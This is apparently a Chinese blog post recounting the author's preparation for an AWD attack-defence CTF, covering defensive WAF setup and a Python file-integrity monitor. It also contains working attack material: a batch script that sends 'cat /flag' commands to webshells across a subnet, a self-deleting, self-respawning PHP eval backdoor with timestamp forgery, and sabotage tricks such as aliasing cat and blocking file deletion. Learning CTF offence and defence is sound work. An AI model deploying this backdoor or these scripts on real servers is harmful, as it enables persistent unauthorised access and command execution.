前言
在参加比赛之前,团队大师傅为了让我们知道怎么打,特意给我们搭的环境,在经过了好多天的模拟之后,我也大致了解了awd该怎么去玩。
什么是awd
AWD:Attack With Defence,译为攻击与守护,是指在比赛中每个队伍维护一台或者多台服务器,服务器中有多个漏洞和一些预留后门,利用漏洞攻击其他队伍可以得分,而修复漏洞看主办方规定,可能加分也可能不加分。
- 服务器一般为web服务器,大多数为Linux操作系统,flag一般放在根目录下
- flag会在规定时间进行一次刷新
- 每个队伍都有一个自己的初始分数
- 主办方会对每个队伍服务器进行check,服务器被判定宕机会扣除本轮flag分数
- 一般会给队伍一个低权限用户,一般不会是直接给root权限,需要每个队伍去进行提权
比赛方式
一般比赛会是flag放在根目录,然后通过获取其他队伍的shell进行读取操作,得到flag。
在比赛中,主办方可能会告诉你其他队伍的IP,也可能不说,一般在同一个B段或者C段,因此可以用nmap扫描工具发现其他队伍的IP。
nmap -sn 192.168.171.0/24
比赛分工
awd模式一般分为三个人,一个人防御,两个人进攻。
赛前准备
首先,准备好各种的脚本,批量getflag脚本,批量提交flag脚本(没有这两个,你就需要去手动获得对方shell,然后读取flag,纯手工不仅手累,而且效率低)。然后就是各种的比如文件监控脚本,waf以及其他的一些防御脚本,此外还要准备各种马,一句话,不死马,变种马,冰蝎等等。不至于比赛中耗费时间去写。
然后就是准备好自己的心态,不要发生心态爆炸的情况。
最后就是队伍内分好工作,进行详细的沟通以及在测试联系时多沟通。
比赛过程
防守
把网站根目录文件备份下来,拖到D盾扫描预留后门,然后抓紧时间删除预留后门,然后可以把文件拖到seay中进行审计,逐步排除危险漏洞等文件内容。
另外可以利用脚本进行防守。一般分为两种脚本:WAF和文件监控WAF:
对于waf,GitHub上有许多种类版本的,可以视情况选择。具体使用:
- 将waf.php文件上传到要包含的文件目录
- 在页面中加入防护。
可以在所需防护的页面源码中加入requtre_once(‘waf.php’);或者在网站的一个共用文件,例如config.inc.php中加入requtre_once(‘waf.php’);
然后在这里贴上大师傅的
常见PHP系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
在php.ini中找到
Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路径;
特别注意的是:在自己服务器上面挂waf可能会导致网页主页等一些功能显示异常,需要自己详细的考虑。文件监控
对于文件监控脚本,GitHub上面也有很多,具体的功能就是会发现服务器新上传的文件并进行拦截,发现被修改的文件会立即修复,可以防止别人的上传shell攻击等。
# -*- coding: utf-8 -*-
#use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import time
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径,并获取所有文件的MD5,同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())
日志分析
利用命令行,输入tailf /var/log/apache2/access.log
查看日志文件,进行分析,观察攻击者是以哪个方式进行攻击的。
攻击
批量得到flag脚本:
#coding=utf-8
import requests
url_head="http://10.100.100." #网段
shell_addr="/upload/url/shell.php" #木马路径
passwd="xiaoma" #木马密码
port=""
payload = {passwd: 'System(\'cat /flag\');'}
webshelllist=open("webshelllist.txt","w")
flag=open("flag.txt","w")
for i in range(130,160
):
url=url_head+str(i)+":"+port+shell_addr
try:
res=requests.post(url,payload,timeout=1)
if res.status_code == requests.codes.ok:
result = url+" connect shell sucess,flag is "+res.text
print (result)
flag.write(result+"\n");
print >>flag,result
print >>webshelllist,url+","+passwd
else:
print ("shell 404")
except:
print (url+" connect shell fail")
webshelllist.close()
flag.close()
批量提交flag脚本:
def submit(flag, token):
url = "wangzhi"
pos = {
"flag":flag
"token":token
}
print "[+] Submiting flag : [%s]" % (pos)
response = requests.post(url,data=data)
content = response.content
print "[+] Content : %s " % (content)
if failed in content:
print "[-]failed"
return False
else:
print "[+] Success!"
return True
但是很可惜,在这次 “awd” 比赛中,并没有用上。而且在用的时候,需要进行一些修改,调试。
种不死马
在比赛过程中,可以抢一波预留后门,得到shell,然后往服务器里面种不死马,进一步维护自己的权限,然后可以用分裂马等一些马传上去。
对于不死马,GitHub上面也有好多,这里给出我自己的一个不死马。有兴趣的可以在本地尝试
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.shell.php';
$code = '<?php if(md5($_GET["passwd"])=="76a2173be6393254e72ffa4d6df1030a"){@eval($_REQUEST['cmd']);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .shell.php');
usleep(5000);
}
?>
而对于删除不死马,首先需要找到他的进程,关掉进程之后,才能删掉,不然会一直生成,删不掉。
而对于关闭进程,这里贴出自己用的命令
ps aux | grep www-data | awk '{print $2}' | xargs kill -9 //删除www-date用户下的所有进程
接着直接删除不死马文件
骚姿势
在awd比赛中,往往有一些大师傅热衷于去搅屎,而在这里也贴出自己团队大师傅说的一些骚姿势
在Linux系统中,可以通过alias
对系统命令起一些别名,这样子用本来的名字时会出现你事先设置好的东西,而不是执行这个命令。
比如:alias cat="echo
date|md5sum|cut -d ' ' -f1||"
这个命令用于在输入cat
时输出一串类似flag的字符串。
想要删除时只需要输入alias -a
即可。
在得到对方shell之后,对方肯定会发现后门文件,就会想办法进行修补,这时候可以用Linux中的软链接功能,把flag软链接道到一个可写可读文件中。
对于文件名称,一般写入不死马用的都是.xxx.php隐藏起来,但是一看就知道有很大嫌疑,所以名字可以用-xxx.php来命名,这样子当你用命令行删除时,Linux会默认-后面是命令参数而无法执行,只能手动去删除。
效果图同上
对于一些文件有写权限的可以选择修改他的权限,让别人无法往里面写入文件
命令chmod 555 指定文件路径
很多的,例如封对手IP了什么的,好多搅屎操作都是在大师傅们的无聊中搞出来了,不过这样的awd打起来不是更有意思吗?
尾言
本来打算是这次参加线下赛之后回来总结一下自己的一些心得的,但是怎么说呢,这个线下赛一言难尽,也挺不错的,最起码接触了一下线下awd实战,不管怎样,这对于之后的学习都会有帮助的,继续加油!